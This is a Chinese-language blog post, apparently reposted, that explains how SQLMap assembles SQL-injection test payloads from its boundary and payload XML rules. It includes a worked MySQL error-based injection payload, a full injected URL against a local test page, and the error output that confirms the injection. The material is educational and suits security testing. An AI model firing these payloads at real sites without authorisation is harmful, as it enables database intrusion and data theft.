1. 程式人生 > >SQLMap的前世今生(Part1)

SQLMap的前世今生(Part1)

節點 如何 所在 having image character mysql 最大 格式

http://www.freebuf.com/sectool/77948.html

一、前言

談到SQL註入,第一時間就會想到神器SQLMAP,SQLMap是一款用來檢測與利用的SQL註入開源工具。那麽SQLMap在掃描SQL的邏輯到底是怎樣實現的呢,接下來就探討下SQLMap的掃描邏輯,通過了解SQLMap的掃描邏輯打造一款屬於自己的SQL掃描工具。

二、SQL掃描規則

要了解SQLMap的掃描規則,也就是Payload,那麼到底Payload是哪裏來,是根據什麽邏輯生成的呢,接下來必須先了解幾個文件的,SQLMap的掃描規則文件位於\xml文件夾中,其中boundaries.xml與Payloads文件夾則為SQLMap的掃描規則所在,\xml\payloads中的6個文件,裏面的6個文件分別是存放著不同註入手法的PAYLOAD。
那麽就必須了解兩個格式,一是boundary文件,一是payloads。

例子:

<boundary>    
<level>1</level>    
<clause>1</clause>    
<where>1,2</where>    
<ptype>1</ptype>    
<prefix></prefix>    
<suffix> AND ‘[RANDSTR]‘=‘[RANDSTR]</suffix>
</boundary>

1. clause與where屬性

這兩個元素的作用是限制boundary所使用的範圍,可以理解成當且僅當某個boundary元素的where節點的值包含test元素的子節點,clause節點的值包含test元素的子節點的時候,該boundary才能和當前的test匹配,從而進一步生成payload。

2. prefix與suffix屬性

要理解這兩個屬性的作用,那麼就先利用一段代碼去講解。

function getattachtablebypid($pid) {
   $tableid = DB::result_first("SELECT tableid FROM ".DB::table(‘forum_attachment‘)." WHERE pid=‘$pid‘ LIMIT 1");
   return ‘forum_attachment_‘.($tableid >= 0 && $tableid < 10 ? intval($tableid) : ‘unused‘);
}

通過代碼我們可以知道pid參與了SQL語句的拼接,那麼如果我們輸入的pid為‘ AND ‘test‘ = ‘test呢,那麼最終拼接起來的SQL語句應該為:

SELECT tableid FROM ".DB::table(‘forum_attachment‘)." WHERE pid=‘‘ AND ‘test‘ = ‘test‘ LIMIT 1

所以如果我們輸入的是‘ AND ‘test‘ = ‘test,那麼最終拼接起來的SQL語句同樣是合法的。那麼我們就可以把所測試的Payload放到prefix與suffix中間,使之最終的SQL合法,從而進行註入測試,所以通過了解,prefix與suffix的作用就是為了截斷SQL的語句,從而讓最終的Payload合法。
至此boundary文件的作用已經講解完了,接下來就是payload的講解了。

<test>    
<title>MySQL &gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause</title>    
<stype>2</stype>    
<level>1</level>    
<risk>1</risk>    
<clause>1,2,3</clause>    
<where>1</where>    
<vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,([QUERY]),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector>    
<request><!-- These work as good as ELT(), but are longer<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload><payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>-->
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,(SELECT (ELT([RANDNUM]=[RANDNUM],1))),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload>
</request>    
<response>        
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>    
</response>    
<details>        
<dbms>MySQL</dbms>        
<dbms_version>&gt;= 5.0</dbms_version>    
</details>
</test>

1. title屬性

title屬性為當前測試Payload的標題,通過標題就可以了解當前的註入手法與測試的數據庫類型。

2. stype屬性

這一個屬性標記著當前的註入手法類型,1為布爾類型盲註,2為報錯註入。

3. level屬性

這個屬性是每個test都有的,他是作用是是限定在SQL測試中處於哪個深度,簡單的來說就是當你在使用SQLMAP進行SQL註入測試的時候,需要指定掃描的level,默認是1,最大為5,當level約高是,所執行的test越多,如果你是指定了level5進行註入測試,那麼估計執行的測試手法會將超過1000個。

4. clause與where屬性

test中的clause與where屬性與boundary中的clause與where屬性功能是相同的。

5. payload屬性

這一屬性既是將要進行測試的SQL語句,也是SQLMap掃描邏輯的關鍵,其中的[RANDNUM],[DELIMITER_START],[DELIMITER_STOP]分別代表著隨機數值與字符。當SQLMap掃描時會把對應的隨機數替換掉,然後再與boundary的前綴與後綴拼接起來,最終成為測試的Payload。

6. details屬性

其子節點會一般有兩個,其dbms子節所代表的是當前Payload所適用的數據庫類型,當前例子中的值為MySQL,則表示其Payload適用的數據庫為MySQL,其dbms_version子節所代表的適用的數據庫版本。

7. response屬性

這一屬性下的子節點標記著當前測試的Payload測試手法。

        grep        :報錯註入
        comparison  :布爾類型忙註入
        time        :延時註入
        char        :聯合查詢註入

SQLMAP當中的checkSqlInjection函數即是用這一屬性作為判斷依據來進入不同的處理分支。而且其中response屬性中的值則為其SQL註入判斷依據,就如當前的例子中,grep中的值為[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP],SQLMap會將[DELIMITER_START]與[DELIMITER_STOP]替換成Payload中所對應替換的值,然後利用所得到的對返回的頁面信息進行正則匹配,如果存在在判斷為當前存在SQL註入漏洞。

其中要註意的是,Payload中的字符串會根據當前Payload所適用的數據庫類型對字符串進行處理,其處理的代碼位於\plugins\dbms下對應數據庫文件夾中的syntax.py腳本中。

技術分享

所以最終的payload是根據test的payload子節點和boundary的prefix(前綴)、suffix(後綴)子節點的值組合而成的,即:最終的payload = url參數 + boundary.prefix+test.payload+boundary.suffix

三、實例

接下來以報錯註入來實際講解下Payload與boundary的使用。

上例子中的boundary元素中的where節點的值為1,2,含有test元素的where節點的值(1),並且,boundary元素中的clause節點的值為1,含有test元素的where節點的值(1),因此,該boundary和test元素以匹配。test元素的payload的值為:

AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

之前已經介紹了最終的Payload是如何的一個格式,所以最後將其中的[RANDNUM]、[DELIMITER_START]、[DELIMITER_STOP]替換掉與轉義之後。

則生成的payload類似如下:

[RANDNUM]           = 2214
[DELIMITER_START]   = ~!(轉義後則為0x7e21)
[DELIMITER_STOP]    = !~(轉義後則為0x217e)

Payload: ‘ AND (SELECT 2214 FROM(SELECT COUNT(*),CONCAT(0x7e21,(SELECT (CASE WHEN (2214=2214) THEN 1 ELSE 0 END)),0x217e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND ‘pujM‘=‘pujM

如果http://127.0.0.1/search-result.php?keyword=&ad_id=3存在註入的話,那麽執行的時候就會報如下錯誤:

Duplicate entry ‘~!1!~1‘ for key ‘group_key‘

根據之前的講解,那麽最終於測試的URL如下:

http://127.0.0.1/search-result.php?keyword=&ad_id=‘ AND (SELECT 2214 FROM(SELECT COUNT(*),CONCAT(0x7e21,(SELECT (ELT(2214=2214,1))),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ‘YmRM‘=‘YmRM

如下為返回的頁面信息:

技術分享

最後根據grep中的正規來匹配當前頁面。

<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>

而使用正則:~!(?P<result>.*?)!~來匹配Duplicate entry ‘~!1!~1‘ for key ‘group_key‘ 的結果為1,根據匹配的結果可以得出當前的頁面確實存在著SQL註入。

總結

通過SQLMap的掃描邏輯,我們可以了解到SQL註入的常規手法與實現,熟悉SQLMap的配置文件之後,自己就可以根據實際的情況對Payload與boundary進行修改,通過增加Payload與boundary來增強SQLMap的掃描規則,也可以利用其掃描規則來打造一款自己的SQL掃描工具。

SQLMap的前世今生(Part1)